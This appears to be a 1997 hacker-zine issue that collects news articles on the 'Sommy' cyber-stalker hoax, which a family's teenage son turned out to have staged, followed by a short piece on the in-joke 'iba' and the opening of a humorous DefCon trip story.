Since December, the Tamai family's phone has been tapped, calls have been interrupted by strange voices and power to the home is sometimes cut off. The electronic intruder, who distorts his voice with the help of a computer, calls himself Sommy and has even been able to switch channels on the family's television.

This week, Debbie and Dwayne Tamai and their 15-year-old son decided to make their plight public, hoping to produce new leads and put more pressure on investigators to solve the case. "It's probably falling in to what Sommy wants, but the only way to get the investigation going is to bring as much attention to it as possible," said the family's lawyer, Don Tait.

Ontario's attorney general, Bob Runciman, said he has been assured that police and telephone company officials are doing everything possible to catch Sommy. Debbie Tamai received 32 calls from the media Tuesday, including one from the TV tabloid show Inside Edition. "We wanted to go public so we could get some help for our problem, but we never expected this," she said.

The investigation has included extensive interviews with neighbors, friends and close scrutiny of the Tamai family. They've been cleared as suspects, and the house has been rewired three times. Sommy's identity and method of infiltration has frustrated police specialists. Experts from the phone company, electric company and Canada's industry ministry have joined in the investigation, but without success.

------------

Electronically barging on to someone's phone line is a technological piece of cake but avoiding capture is much stickier, say computer experts and hackers.  "Hacking into a phone conversation isn't difficult if the intruder has gotten into Bell Canada's (computer) system," said Derek Atkins, a computer security worker. What has Atkins and other experts stymied about "Sommy's" cyber-haunting of a Windsor family is how he's evaded detection.

A telephone security expert said someone can invisibly access another Bell Canada line from a nearby site on the same "local loop." But if the intruder goes through one of the computerized switches that link neighborhoods, Bell Canada will trap their number "instantaneously," said the expert, who asked not to be named.

Dave Rider

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Prankster Dubbed 'Cyber-Stalker' by Steve Silberman, 16.Apr.97.PDT:

This week's nail-biter about information age terrorism - a story of a Canadian family threatened by a "high-tech stalker" with the power to change channels on the family TV set, turn lights off and on, and eavesdrop on conversations - was spun out of verified incidents of prank phone calls and cut phone lines, a spokesperson for the Ontario Provincial Police says.

Though Reuters ran the story with the headline "Cyberpunk Terrorizes Canadian Family," the Net is not involved in the investigation at all, the OPP's Deb Mineau told Wired News. The tale of a disembodied prankster calling himself "Sommy" broke in a small-town newspaper called The Windsor Star over a month ago, but it captured the attention of the international wire services and the Canadian Broadcast Corporation after the Toronto Sun ran it on its front page on 9 April, terming "Sommy" a "cyber-stalker" and "high-tech bogeyman" who was "cyber-haunting" the family of Debbie and Dwayne Tamai.

The UK-based Fortean Times On-Line posted the story to alt.misc.forteana with the lead-in "If there was ever an Internet story, that can be solved by Internet users, this is it." The Tamai family claims that "Sommy" is able to listen to their conversations through telephones that are not in use, control electrical power to their house, and interrupt phone calls with threatening messages in a computer-generated voice.

John Peck of Bell Canada told Wired News that his company is "taking the problem very seriously," and has assigned telecom security experts to the case. Deb Mineau of the OPP says that though the story has received more attention than ever in the past two weeks, the Tamais haven't heard from "Sommy" since 31 March. Amid speculations by a retired Mountie of "an invisible device" implanted in the walls of the family home, Debbie Tamai told the The Toronto Sun, "My biggest fear is that he'll disappear without a trace.. (and) we'll never know how he did it."

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Seen in San francisco examiner on 18 April 1997:

Emeryville, Ontario The couple who claim their home has been haunted by a high-tech stalker who eavesdrops on their phone lines and changes the channel on their television have put their three-bedroom house on the market.

"We just want to get out of here and start over somewhere else," said Debbie Tamai, whose family has been troubled by a stalker called Sommy who taps into phone lines, turns power outlets off and on, and has threatened them.

After weeks of being courted by the media and having crowds drive by to gawk at their house, the family said they want to go back to living anonymously. Police, Bell Canada and Ontario Hydro investigators have failed to pinpoint the source of the trouble.

------------

According to the Orlando Sentinel, Wednesday, April 16, 1997

Emeryville, Ontaria - The trouble began in December when puzzled friends told Debbie and Dwayne Tamai their telephone calls to the couple were repeatedly being waylaid and cut off.

A month later, missed messages and strange clickings seemed minor when a disembodied voice, eerily distored by computer, first interrupted a call to make himself known. After burping repeatedly, the called told a startled Debbie, "I know who you are.  I stole your voice mail."

Mocking, sometimes menacing, the high tech stalker has become a constant presence, eavesdropping on family conversations, switching TV channels, shutting off electricity and totally baffling the electronics experts trying to track his mischief.

He calls himself "Sommy." The Tamais' and the police don't have a clue who Sommy is, how he does it or why he has targeted this family. "He told me I can get the best people in the world to come in my home and they won't find anything," Debbie said...."I just want my life back."

Debbie thinks Sommy rigged their home while it was being built last year, intending to torment whoever moved in. Initally, Sommy's interference was mostly annoying.  Then his harrassment turned sinister.

"He would threaten me," Debbie said, "It was frightening: 'I'm going to get you, I know where you live.' "I befriended him, because the police asked me to, and he calmed down and said he wasn't going to  hurt me.  The more I felt I was kissing his butt, the safer I felt."

But never completely safe, he has made clear he listens to family talks through household telephones, even when the recievers hung up.  "When I want to have a private conversation, I unplug the phone, but we still whisper." She says. Police think Sommy lives in the area and is younger than 25.  He bragged that police came and went from his house in a door to door sweep.

Some private experts have tried to uncover Sommy, including Doug Ralph, a retired electronci surveillance expert.  he concluded Sommy was accessing the Tamais' house through either underground cables or the nearby Bell Canada wiring station.

Bell Canada has rewired the house several times.  Each time, Sommy was able to get back on the line, once within 20 minutes. "I hope he gets caught, I hope they throw the book at him," Debbie Tamai said. "I'd like to look him in the eyes, and let him know what he has done to me and my family."

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Cyber-Stalker Update, April 10, 1997

WINDSOR, Ontario -- The owner of a high-tech toy store in Detroit says he's  close to catching a cyber spook haunting a Windsor, Ontario-area family.

Donald Dickson of "Dreams to Reality" says he has an idea who Sommy is, but he wants to eliminate all possibilities before revealing more. Debbie and Dwayne Tamai and their 15-year-old son Billy live in Emeryville.

Their phone calls have been interrupted by strange voices, the power to their home has been turned off and back on, and their T-V mysteriously changes channels. Sommy has also admitted to slashing the tires of an investigating officer's car.

Several experts have checked the home for hidden devices but have found none.  Doug Ralph, a retired R-C-M-P officer, believes that during construction of the  home someone put an invisible device into the walls.

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April 11, 1997 - EMERYVILLE -- A security expert says the high-tech stalker who has tormented a family near Windsor might be trying to discredit authorities. Someone named "Sommy" has been interrupting telephone calls, cutting power and turning the house appliances on and off for several months.

Retired R-C-M-P officer Doug Ralph of Comsec Services is using high-tech equipment to sweep the Tamai (TAH-MY) home in Emeryville. Ralph believes "Sommy" planted devices inside the house while it was under construction.

In a written report to the O-P-P, Ralph has offered one solution which would prevent "Sommy" from controlling the hydro in the house. Ralph says if investigators can't find the source of the surveillance then they should consider having Hydro build-up a filter on the power lines.

This would electronically filter the signal to the ground so that control would be ended. Ralph says "Sommy" might be using the family to try to discredit the phone company, police and other authorities.

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Electronic stalker returns to haunt family - April 9, 1997

EMERYVILLE, Ont. (CP) _ After a week's reprieve, a Windsor-area family again finds itself at the mercy of a cyberspace stalker. Sommy, as the high-tech bogeyman calls himself, interrupted a phone conversation Tuesday to let the Tamai family know he had returned from a Florida vacation.

"We're living a nightmare," said Debbie Tamai-Smith, 36, of Emeryville, about 20 kilometres east of Windsor. "It's been a living hell." Sommy has terrorized the family since they moved into their home in November, turning lights on and off, interrupting telephone conversations, changing channels on their TV and listening in on family conversations. He distorts his voice and has confounded the experts by avoiding detection.

Bell Canada has changed the family's number, changed the phone lines in their home and changed the telephone cable in the family's subdivision. They even tried to fry Sommy's equipment with a 600-volt blast down the phone lines.  Sommy just laughed. "We don't know who he is or how he's doing it," said Const.  Rick Harold of the provincial police.

"If I could I'd move out tomorrow," said Dwayne, 34, Debbie's husband.

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Family hopes to catch cyber stalker

EMERYVILLE, Ont. (CP) _ A family haunted by a cyber-stalker is hoping the glare of the media spotlight will force the spook out of hiding. Since December, the Tamai family's phone has been tapped, calls have been interrupted by strange voices and power to the home has been cut off.

The electronic intruder, who alters his voice with the help of a computer, calls himself Sommy. And he's left police and the phone company stumped.  Debbie and Dwayne Tamai and their 15-year-old son Billy hope going public will put pressure on investigators and produce new leads.

"It's probably falling in to what Sommy wants, but the only way to get the investigation going is to bring as much attention to it as possible," said lawyer Don Tait. Debbie Tamai received 32 calls from the media Tuesday, including one from the TV tabloid show Inside Edition. "We wanted to go public so we could get some help for our problem, but we never expected this," she said Wednesday.

The investigation has included extensive interviews with neighbors, friends and close scrutiny of the Tamai family. They've been cleared as suspects and the house has been rewired three times.

Sommy's identity and method of infiltration has frustrated provincial police specialists, Bell Canada, Ontario Hydro, Industry Canada and a series of private security experts involved in the investigation. The Essex detachment of provincial police says "none of these investigative tools have been able to  identify the source of these harassing phone calls."

Police believe there is more than one Sommy and Debbie Tamai agrees. "There's a Sommy 1, a Sommy 2 and maybe a Sommy 3," she said.  "He told me one is the (phone line) cutter, one is the hacker and the other is the lookout. I've noticed differences in their voices, too. One is a little meaner than the others."

She said the phone Sommy often cuts in on private conversations with burps and silly chatter. Ontario Solicitor General Bob Runciman said he has been assured that police and Bell Canada are doing everything possible to catch Sommy.

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BIG GUNS HUNT CYBER-STALKER - TV NETWORKS PAY TO SWEEP HOUSE - April 18, 1997

EMERYVILLE, Ont. -- A special team has been called in to root out a high-tech stalker who has electronically invaded a Windsor-area home. A seven-member crew hired by two television networks is doing an intensive sweep of the home of Dwayne and Debbie Tamai, which they say has been invaded by a stalker calling himself Sommy.

Since December, the electronic intruder has tapped the Tamais' phone lines at will, interrupting conversations with burps and babble while disguising his voice. He has overheard conversations in the house and seems to control the home's power, turning the entire system or individual appliances on or off at will.

The sweep is being paid for by Canada's Discovery Channel and Dateline NBC, a television newsmagazine based in New York. The team of electronic sweeping specialists is from Nepean Systems Inc., one of Canada's top private industrial security firms. Team co-ordinator Trevor Stewart, 41, is a former RCMP officer and Canadian Security Intelligence Service agent. He said the team is composed of intelligence and security experts from "a wide variety of backgrounds."

The house will be sealed for the duration of the sweep, which could take more than 16 hours. The investigation will be spread over two days, with results to be analysed on the spot.

------------

Sommy victims' home for sale - April 17, 1997 - The Windsor Star

"There's a buyer for everything," says an agent -- even a house that's been electronically invaded

For sale: three-bedroom brick ranch home in Emeryville, with 1.5 baths, finished family room and a two-car attached garage. Comes complete with unwelcome cyber-stalker.

Debbie and Dwayne Tamai, the Emeryville couple who say their house has been invaded by the bizarre electronic entity known as Sommy, have put their home on the market. Asking price: $184,900.

"We're listing the house now because we don't know how long it will take to sell it," Debbie said. "We just want to get out of here and start over somewhere else."

Jim Gammon, the Deerbrook Realty sales agent who sold the Tamais' the house for $160,000 last fall, said the family's dream home had turned into a nightmare. But the presence of Sommy may not necessarily deter potential buyers, he said.

"There's a buyer for everything," Gammon said. "Who knows, maybe some group will buy the home to see if they can find Sommy for themselves." Gammon said the timing is right to list the house while the family's peculiar problem continues to attract widespread attention.

Tamai said there has already been an inquiry about the home from a potential customer. While she is accepting all legitimate inquiries, Tamai said she has no intention of turning her home into a museum for curiosity seekers. "I am screening all inquires very carefully," she said. "I don't want people wandering through here because they saw the house on TV. One of those people might even turn out to be Sommy."

Tamai said that once the house is sold -- regardless of how long it takes -- the family intends to move out of Emeryville, but remain in the area. The family said they want to go back to living anonymously.

"We won't tell anyone where we're going," Debbie said. "And we're never moving into a custom-built home again. I want to find a house that a nice older couple have been living in for the past 50 years without any problems.  That would be our dream house. But as it stands rights now, I'd live in a shack to get away from here."

Gammon said he has received about 50 phone calls from Sommy at his home since the house was sold last Fall. "He just jibber-jabbers, mostly." Gammon is aware of four or five other friends of the Tamais who have received phone calls from Sommy. "I've told him to get off the phone and get a life," Gammon said.

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Hi-Tech Hunt Misses Cyberstalker - April 19, 1997 - Toronto Sun

EMERYVILLE, Ont. (CP) -- An electronic stalker haunting a family home since December eluded an espionage team hired by two television networks. The team and its secretive, hi-tech gizmos couldn't locate the stalker, who calls himself Sommy, after a two-day sweep of the Windsor-area home of Dwayne and Debbie Tamai.

"Our position on this matter is that no further action by (our team) is warranted at this time," Trevor Stewart, lead member of the Nepean Systems Inc. crew, said yesterday. The company was brought in by the Discovery Channel, which plans to air its show on Sommy on Monday, and Dateline NBC, which aired its feature last night. "Nothing was found that would allow NSI to take this case to the next level," said Mike Cosentino, spokesman for the Discovery Channel.

"It was worth it for us because we're looking at the science behind electronic  sweeping. The show still stands, the result is different." Cosentino said NSI had hoped to be able to trace Sommy or at least provide police with clues as to his whereabouts.

The electronic intruder -- who police believe may be more than one perpetrator -- has tapped the family's phone lines, interrupting conversations with burps and babble. He has overheard conversations in the house and seems to control the home's electrical power, turning the entire system or individual appliances on or off at will.

Stewart, 41, is a former RCMP officer and Canadian Security Intelligence Service agent. He said the team was composed of intelligence and security experts from "a wide variety of backgrounds," but so secretive is their work that further information about their experience is being kept under wraps.  Stewart would also not reveal what equipment was used for the sweep.

Security experts say the Tamais' custom-built home probably included a few features the family did not bargain for, including devices to listen in on conversations and to control the electrical system. The family has put the house up for sale.

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Teenage son confesses to 'hi-tech' stalking of family - April 21, 1997

Sun News - TORONTO

Debbie and Dwayne Tamai were in tears last night after learning that "Sommy", the electronic intruder who harassed the Windsor-area couple for months, was actually their son. Ontario Provincial Police say no charges will be laid against 15-year-old Billy, who lives in the Emeryville home with his mother and stepdad.

Charlene Tamai, Dwayne's mother, said Debbie and Dwayne "were both in tears" upon hearing the news. "I feel terrible for the two kids. They've just been absolutely baffled by this whole mess," Charlene said. She said Billy is "a normal teenager." Debbie Tamai issued a statement yesterday saying Billy made a full confession after police asked him to come in for questioning on the weekend. She also apologized for the actions of her son. "I don't understand," she said. "For him to let it go on so long. I feel so stupid, so sorry."

One family friend told the Sun the couple never suspected Billy as the cyber-stalker and were completely surprised by the revelation. The stalker, calling himself Sommy, attracted national attention after he began haunting the Tamais' home in December.

The intruder appeared to have tapped into the family's phone lines, interrupting conversations with burps and babble. He overheard conversations in the house and appeared to control the home's electrical power, turning individual appliances on and off at will. The family was so shaken by Sommy they put their house up for sale. Bell Canada has changed the family's number, changed the phone lines in their home and changed the cable in the family's new subdivision. They even tried to blow the bandit's equipment with a 600-volt blast down the phone lines, to no avail.

He was able to elude investigators, Bell Canada, Ontario Hydro and even an espionage team hired by two television networks. A two-day sweep by a team of intelligence and security experts -- brought in by Dateline NBC and the Discovery Channel -- failed to locate Sommy Friday. But it seems the hi-tech harasser was actually low-tech -- doing things like picking up extension phones and flicking switches, a source said. OPP will release more information on the case today.

Sgt. Doug Babbitt said a process of elimination led police to conclude no devices were ever planted in the home. They also ruled out an intrusion into the Bell Canada system. "We eliminated all external sources and interior sources," said Babbitt. "After going through the evidence gathered and the interviews, we concluded that charges would revictimize the family," said Babbitt. "We felt it would be better for (the family) to settle this themselves than to charge them."

Last night, the answering machine at the Tamai house had a message saying "That Sommy kid and his little minions, those stupid little kids with the funny voices that are not really modulating their voices but in fact talking in burp-speak ... we are quite dismayed at the fact the media is portraying them as phone freaks and hackers ... it gives us a bad rep when retards like this represent the scene. They don't have the skill to make it, believe me."

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Experts say they knew family son was prankster - Monday, April 21, 1997

EMERYVILLE, Ont. (CP) - Some experts who tried to solve the mystery of an elusive electronic nuisance named Sommy say they knew all along it was the family's 15-year-old son.

Electronics experts Donald and Ronald Dickson voluntarily went to the Tamai house near Windsor last week to test it with an object-finding robot. Finding nothing lurking in the walls, they listened to messages Sommy had left on the answering machine and concluded the whole thing was a hoax. "When we heard the tape, I said: 'I know what this sounds like. It's just a kid changing his voice,"' said Donald Dickson, from Michigan. "Then the story got so elaborate.  The mother and father saw lights going on and off. I couldn't understand why they wouldn't ask: 'Hey Billy, where are you, are you OK?"'

It turns out Billy, 15, didn't use the fancy equipment the two security experts were seeking. And rewiring the house's phone and hydro system was a waste of time. Since December, he's simply been using a phone extension and altering his voice to break into conversations and babble. And when the lights went on and off, he was in the basement flipping the switch.

"I just want to say I'm sorry," he said Monday. "It wasn't supposed to go so far, but I was too afraid to tell anybody." Billy's mother Debbie Tamai said she took her son to a police station for a polygraph test Saturday to clear his name. "Instead I got a full confession. I don't know how I was so blind.  When your son looks you in the eyes and says it's not him, you believe him."

Dickson said he and his twin brother just couldn't come out and tell Billy or police officers what they knew because they didn't have hard evidence.  "We took Billy aside and said: 'Sommy's a very intelligent kid' and Billy said, 'I think you guys are smarter.' "We couldn't come right out and say, 'Billy you did it.'" Billy often denied he was the culprit and he'd even been in the room during a couple calls from Sommy, named after a dog on the TV show Home Improvements.

The Discovery Channel and Dateline NBC sent investigative teams from Ottawa's Nepean Systems Inc. to check the home for a technological genius that was plugging Sommy in. "Our first suspect was Billy," team leader Trevor Stewart said in a statement. Const. Debra Minot of provincial police, said the youth was never ruled out as a suspect, but authorities had to ensure there was nothing in the house before he took a lie detector test. Debbie apologized for her son's actions and said she'll get him professional help.

Family lawyer Don Tait said the Tamais are trying to put their lives back together. "There's a lot of confusion as far as emotions are concerned. They're angry one minute, the next they're more concerned about his welfare.  It's just been a real rift in the family." Tait suspects Billy is covering up for a friend who helped him pull off telephone episodes, although he's told police he is solely responsible.

One doctor said Billy's actions could be a sign he's looking for attention. "He is probably competing for affection and it seems to me he is trying to be acknowledged by the family," said Dr. Anthony Lucifero of Family Counselling Centre in Toronto. Marshall Korenblum, a Toronto psychiatrist specializing in adolescent behavior, said Billy may be seeking attention but his actions are very extreme. " It's outside the realm of normal. There is probably some pre-existing communication problem with his parents. You often see this in bright kids."

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Sommy: An Inside Job - April 21, 1997 - THE WINDSOR STAR

15-year old Billy Tamai has confessed to being the hi-tech intruder who has harassed his family for months. In the end, it was the answer many had suspected and the Tamai family had dreaded: Sommy, the elusive hi-tech invader who grabbed international headlines, is one of them.

Debbie and Dwayne Tamai were expected to face the media outside their Emeryville home this morning to discuss what's being called a practical joke gone terribly wrong.

Fifteen-year-old Billy Tamai, Debbie's son from a previous marriage, confessed Saturday that he harassed his own family for months.

In a letter released Sunday the distraught mother wrote: ''You all are probably thinking, 'how did we not know?' When I asked my son numerous times if he knew anything about what's been happening around here and he replies:  'No, mom. I would never hurt you like this,' a mother's first instinct is to believe him. All the crying I heard from him at night I thought was caused by Sommy. We now realize it was him crying out for help because he wanted to end all this, but was afraid because of how many people were now involved.

"I don't consider my son a bad person for all of this, I just consider him a boy who needs professional help to deal with his emotions."

The letter concludes with a plea for forgiveness. "We would like to apologize to the world for any pain or harm that was caused by this whole situation."

Tamai, a casino worker who took a leave of absence because of the ordeal, also thanked Bell Canada and the OPP for their efforts to help.

Her brother, Gary Smith of Windsor, emerged from the Emeryville house Sunday after a long chat with his nephew whom he described as "a good kid." The teen was "very remorseful" and insists he acted alone, he said. But Smith believes he is covering for friends who were also involved.

There was at least one time when the Tamais received a call from someone calling himself Sommy while Billy was in the room. "If you look at all the evidence, it's impossible for him to have worked by himself."

It's believed Billy simply cut in on the phone conversations using an extension in his bedroom, Smith explained, but could not say how the teen disguised his voice. There are four phones and two phone lines in the house, he said.

Billy is an average high school student and has never been in serious trouble before, Smith added. "It's a shock. It's a shock to everybody and they're taking it pretty rough in there."

Other bizarre and disturbing happenings in the house -- lights and appliances would randomly turn off and on -- were also manipulated from inside, said OPP Sgt. Doug Babbitt.

Sommy often reminded the family he could hear every noise they made, and heopenly scoffed at investigators trying to find him. No charges will be laid against Billy Tamai to prevent "further victimization of the family," Babbitt said. "When the investigators sat down and looked at all the evidence....they felt charges were not warranted."

At no time were any family members cleared as suspects, he said. The investigation was complex but specialized and kept two officers busy since police were first called Jan. 20. Resources from various other agencies were also used as the costly probe wore on.

"It was important for us to systematically eliminate all the potential sources that could have been doing it and that takes time," Babbitt said.  "As well, it seemed every time we set up a piece of equipment to eliminate how something could be done, suddenly Sommy never called for eight or 10 days." Babbitt said the family's calls were interrupted using simple, widely available technology.

He would not elaborate except to say there was never an intrusion into the Bell Canada system. No hidden devices were ever planted in the residence nor were any external devices used, he added.

It was unknown Sunday wether the Tamai family will be charged for any of the wiring or investigative work done by Bell, Ontario Hydro and others.  Techno-wizards armed with all manner of scanning gizmos had scoured thehome with no luck.

After weeks of interrupting phone conversations with belches and babble, Sommy announced in early April he was vacationing in Florida and hadn't been heard from since. That's when this paranoia-inciting story of It-Could-Happen-to-You proportions really caught the public's fancy. Media crews from across North America converged on the modest house in recent weeks.

Special segments on the case were filmed for Unsolved Mysteries, Dateline NBC, and the Discovery Channel. Producer for the Montel Williams talk show even faxed the Tamai family a contract.

Amid all the speculation surrounding the 100-week police investigation and media blitz, fingers were pointed at Billy Tamai, but his mother steadfastly defended him. She accompanied him to the Belle River OPP station on Saturday for a lie-detector test that was to clear his name for good. Instead, her son tearfully confessed to everything.

Public reaction to the news ranged from sympathy to anger. Emeryville resident Bernadette Renaud, 43, said the small town's image has been tarnished and those responsible should be punished. "I'm disgusted," she said Sunday at the news charges won't be laid.

Dennis Dumont, 26, moved in beside the Tamai family four weeks ago -- before he'd heard about the Sommy mystery. He's relieved the case has been cracked, and figures the whole thing will soon blow over. "I feel kind of sorry for the family, what they're going through."

The Tamais recently put their house up for sale in an effort to escape Sommy.  Now they plan to move where they can leave this mess behind and start anew, Smith said.

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Troubled teen says 'sorry' April 22, 1997 - THE WINSOR STAR

Billy Tamai doesn't know -- or won't say -- why he terrorized his own family. But, the 15-year-old did offer an apology to the public on Monday.  Some teens steal cars. Some abuse drugs. Some develop eating disorders.

Sommy the cyberstalker may just be a most unorthodox case of a troubled adolescent calling for help, says a Windsor psychologist with experience dealing with teens.

"We live in a cyber world. It's not surprising that a teenager would decide to convey his pain through this medium," said Dr. Antoon Leenaars.

"Adolescence is a time of trouble. I think adults tend to forget how difficult a time it can be," he said.

Fifteen-year-old Billy Tamai, who confessed on the weekend to being Sommy, is smack in the middle of the 14-to-16 age group that's most at risk to adolescent pressures, Leenaars said.

"It's like an iceberg. Sometimes all the adolescent, let alone the parents, is aware of is the very tip. Most of the trouble is submerged."

Unfortunately for the Tamais -- Billy, and parents Debbie and Dwayne – a painful and tragic family problem unfolded under the unwavering eye of the media. Sommy never existed, but ironically it was his very non-existence that scraped away the Tamais' last vestige of privacy.

At a crowded news conference Monday morning Debbie Tamai explained how she'd taken Billy to the Belle River OPP detachment on Saturday to clear him from suspicion, once and for all.

"I took him there to clear his name through a lie detector test," she said, holding back tears as she read from a prepared statement. "Instead we got a full confession from my son."

Debbie said her son went to the police station knowing he would fail the polygraph. Too afraid to tell his parents himself, Billy wanted to be exposed by the police. "I looked at him and said, 'Are you doing this?' He said no. I looked at him again and he started crying. "I said, 'It's over.  Tell me,' and he did."

Billy sat beside her as she spoke, his eyes lowered in contrition. It hadn't taken a technical whiz to perpetrate the hoax -- Billy had invaded phone calls from a downstairs extension and interrupted electrical power by throwing the circuit breaker.

He disguised his voice by holding his breath. The enigmatic name, Sommy, had been that of a dog on an episode of the sitcom Home Improvement.

Lawyer Don Tait, who suggested the family go public with the story when the police and Bell Canada seemed unable to solve the mystery, said at least one other person must have been involved in the hoax.

Several witnesses spoke to Sommy on the telephone in the presence of Billy. "Clearly there was another young person. I'm not interested in knowing his name and if (Billy) wants to protect him that's his business," Tait said.

Billy denied that the hoax involved anyone else. But while the "how" was easily answered, even Billy couldn't explain the "why." Why had he terrorized his own family? What did he hope to accomplish? Billy paused a long time before answering simply: "I don't know."

It's a question Debbie Tamai has also asked.

She acknowledged that Billy has had to deal with some tough problems, including the break-up of Debbie's first marriage, and his being afflicted with attention deficit disorder.

"He's had a lot of problems in the past," she said.

By confronting the hoax openly and honestly, the family hopes to begin to put life back in order. Billy will be referred for psychiatric care and the whole family will take part in the counselling.

Leenaars said that honesty is the best way to begin healing for anyone grappling with a harmful family problem. Unfortunately for the Tamais, the intense public interest in Sommy being honest and open means including the media in the process, at least initially.

"How could it not be public?" he said.

"But the worst thing to do is for a family to keep quiet about something like this. Sticking your head in the sand like an ostrich is not a solution."

Meeting reporters was also a way for the family to apologize for the trouble caused by the Sommy hoax. "I just want to say I'm sorry for everybody I hurt," Billy said. "It wasn't supposed to go this far. I was just too afraid to tell anybody."

Debbie Tamai accepts some of the responsibility for failing to see through her son's charade and realizing his underlying suffering. "I don't know how I was blind. When your son looks you in the eyes and says he's not doing it, you oversee everything else."

And though she's shaken by his deceit, she has already begun to forgive. "Of course (I'll forgive him,)" she said. "He's my son. We all make mistakes."

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Mystery may be over, but media blitz is not - April 22, 1997 -THE WINDSOR STAR

The mystery of Sommy's identity may be solved, but it's not the end of the story as far as the media are concerned. Already, there's talk of a movie-of-the-week.

The media hype of the last few weeks continued unabated Monday as news organizations pressed for more answers from the family of Billy Tamai. The 15-year-old admitted Sommy was an alter-ego he assumed as a practical joke.

Even as early as Monday morning, a lawyer representing the family said several organizations had asked him about rights for a TV movie. Requests to interview Billy were pouring in from the international news media.

"This has taken the family completely by surprise," said Dan Dietz, a Bloomfield Hills, Mich., lawyer who has co-ordinated media coverage.  Some groups, such as talk shows, offered to pay the Tamais' expenses to go to New York. But none had actually paid the family, he said.

"I don't think they ever expected this much attention," said Dietz.

But Windsor lawyer Don Tait's office was packed with media from as far away as Toronto Monday and the focus now is on Billy and his relationship with his family.

Debbie Tamai pleaded with media to leave the family alone: "Do you think now we could have our house back, please?"

That seems unlikely, however, given that Billy took the name Sommy from an episode of Home Improvement. There were also revelations he suffers from attention deficit disorder and he has had trouble dealing with his parents' divorce. All of this is grist for the media.

"It's a much more involved story now," admitted Dietz. Print and electronic media from around the globe continue to call asking for interviews with Billy. "I think the family needs more than a day or two to get over this."

Among the organizations that have sought information about the family or made requests for exclusive rights to the story are 48 Hours, talk shows Montel Williams and Maury Povich, CBC News, the National Enquirer, Good Morning America, and Unsolved Mysteries.

Only Dateline NBC and Inside Edition actually got stories on the air. It's unclear what Billy's confession will mean about future stories or interest.

Monday night, Discovery Channel's @discovery.ca, a weeknight science program, aired a report on the findings of an Ottawa-based team of electronics surveillance experts, who were at the Tamais' Emeryville home last Friday.

Paul Lewis, Discovery Channel Canada's producer of in-house productions, said the confession didn't affect his decision to go with the story. "We knew going into it the potential risk," said Lewis. Discovery Channel and Dateline NBC paid Nepean Systems Inc. (NSI) $5,000. "But we feel we got the story we were after, which was a look at the leading-edge technology."

In a news release issued late Monday, NSI spokesman Trevor Stewart said his firm had concluded Sommy was a hoax. "Our team had formed the opinion that this was not a hi-tech assault, but rather a low-tech lie," said Stewart. "Our first suspect was Billy."

Reporters at Tait's office Monday peppered Billy with questions about his motives and the name of his accomplice. He steadfastly refused to reveal who helped him pull off the hoax.

Michael Bernacchi, a media analyst at University of Detroit Mercy, said the media's interest in the story arose from "the scent of a suggestion of the outrageousness" of Sommy.

"The media continues to play an activist's role in seeking, searching and solving," said Bernacchi. "Whatever happened to the old gatekeeper concept?  I guess gatekeeping is a media function of the past."

He said the media seldom exercise balance in covering stories like this. "Just look at how they destroyed that poor guy's life in Atlanta," he said,  referring to Richard Jewell, who was widely accused in the media of having planted a bomb during last July's Olympic Games in Atlanta.

"Everything I've seen in the way the story has been covered suggests there's a Son of Sommy on the way. Where have we heard that before?"

Tim Kiska, TV critic for The Detroit News, said Sommy has all the elements that appeal to the mass media.

"You've got a family's grief that can be trotted out for all to see. There's a certain X-Files spin to the story. And the best part is it's all there. Nobody has to dig for this story."

University of Windsor communications professor Stan Cunningham said it isn't surprising to see the media scrambling for answers from the Tamai family. "Journalists have been hoisted with their own petard on this and are looking for somebody to blame."

But the media only give the audience what it wants, he said.

"We deserve what we get. It's like a traffic accident, we're all gawkers. The media know that, they're part of us. So they give us these stories, the weird and the unusual, stories from the Twilight Zone."

In the Hunt

TV shows and media interested in the story: 48 Hours, The Montel Williams Show, The Maury Povich Show, Associated Press, Unsolved Mysteries, Range Universe (a U.S. cable show), Inside Edition, Extra!, Good Morning America,  a San Francisco radio show, CBC News, The Globe and Mail, The National Enquirer.

Photographs requested by: The Sunday Mail in England, Time Magazine, The National Enquirer Media at Monday's news conference were: CBET-Channel 9, CBEFT-Channel 54 (French), CHWI-Channel 16/60, CBC-Windsor (radio), CKLW-AM, The Windsor Star, CITY-TV (Toronto), WKBD-Channel 50, WJBK-Channel 2, WDIV-Channel 4,  WXYZ-Channel 7, WJR-AM, WWJ-AM (News Radio)

The Meaning of "IBA"

If you've ever been on #rock or chatted with any of us anywhere else for any length of time, you've probably seen us going ibaibaibiabiabiabiaba and wondered what the hell it means. I asked RBCP about the origin of iba, and he e-mailed me back with the following response:

"I have a toy called a Yak Bak which makes a noise that sounds like ibaibaiba. Me and Zak used to always play it at OCI operators and somehow everyone in #rock started saying it. I guess it's gotten a little out of hand like everything we do."

After he told me this, I was curious to hear what it sounded like, so I went down to Toys-R-Us to find a Yak Bak and hear it say ibaibaiba. For those of you who don't know, a Yak Bak is a toy with a bunch of buttons that cause it to make stupid noises when you push them. You can also record a short message or sound on it, and then have the Yak Bak play it back to you (cheap red box?  hehe). RBCP also recorded a WAV file of what it sounds like. If you want to hear it, it's at http://www.peak.org/~kcochran/hiwav/ibaiba.wav

Review of Last Year's DefCon Convention - Calimar Rasputin

I wrote this article for those of you who are planning to attend DefCon this year.  This is a true story about part of my trip to DefCon  last year.  You'll laugh, you'll cry, you'll CRINGE in disgust! But there are very important lessons to be learned here.  Those of you that were there should not read this story as it will bring tears to your eyes again.  Some peoples names have been removed not because I forgot them, but because I don't think they would want to be associated with something like this.

Last year I decided to go to DefCon in Las Vegas at the last minute.  I had to drive from my hometown to San Antonio to catch a flight due to leave in 3 1/2 hours and I was 3 hours away!  "OH SHIT!", thought I. So I quickly threw some various articles of clothing into a duffle bag and  jumped in the car. Three hours fifteen minutes later I was at the terminal and boarded my plane just in time. "DAMN I'M SMOOTH!", I thought to myself as I dozed off on the plane. (Because of my tardiness I had to sit by a rather unattractive person on the plane so I didn't want to talk to them.)  When I awoke we were on the ground.  I got my bag and left the plane.

LAS VEGAS!  YES!  I love this place it's almost my most favorite place in the world! (Too bad it isn't in TEXAS.)  I went to the FABULOUS Monte Carlo Hotel and Casino to meet the people I was to room with.  Then it hit me... I HAVE NEVER MET OR SEEN THE PEOPLE I WAS ROOMING WITH!!!  I knew the PLA types that I was staying with (El_Jefe and Apok)but I had NO IDEA who the guy that had the room was or which room he was in.  I tried to get hold of El Jefe, but he had not heard from the guy with the room. Being the kinda guy I am I decided to walk around the wonderful city of Las Vegas and spend money.

